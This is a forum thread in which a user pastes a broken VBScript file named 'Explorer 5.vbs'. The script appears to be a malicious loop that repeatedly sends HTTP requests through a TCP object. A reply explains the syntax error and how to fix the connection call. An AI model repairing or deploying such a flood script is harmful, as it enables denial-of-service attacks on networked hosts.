Tek-Tips is the largest IT community on the Internet today!

Members share and learn making Tek-Tips Forums the best source of peer-reviewed technical information on the Internet!

  • Congratulations TouchToneTommy on being selected by the Tek-Tips community for having the most helpful posts in the forums last week. Way to Go!

syntax error 800A03EA

Status
Not open for further replies.

tom9698

Technical User
Jul 5, 2004
17
US
I am getting an vb script error and I can't use Word, Outlook, etc.--can anyone help? Here is what Explorer 5.vbs
looks like--the error message indicates line 5, char 22

On Error Resume Next
set wsTCP=CreateObject("oswinsck.TCP")
Head = "GET " & " & " HTTP/1.0" & vbCrLf & "Accept: */*" & vbCrLf & "User-Agent: " & "Mozilla/4.0 (compatible; MSIE 6.0; Win32)" & vbcrlf & "Host: 192.168.1.101" & vbCrLf & vbCrLf
Do
If wsTCP.Connect("", ) = 0 Then
wsTCP.SendData Head
wsTCP.Disconnect
End If
loop
thanks
tom
 
Code 800A03EA is a Syntax Error. You'll probably get better VBS help in the VBS forum (forum329), but generally if 2 arguments are required you must supply 2. If only 1 is required and 1 is optional, don't put the comma inside the brackets in line 4.

If wsTCP.Connect("", ) = 0 Then

________________________________________________________________
If you want to get the best response to a question, please check out FAQ222-2244 first

'If we're supposed to work in Hex, why have we only got A fingers?'
 
Status
Not open for further replies.

Part and Inventory Search

Sponsor

Back
Top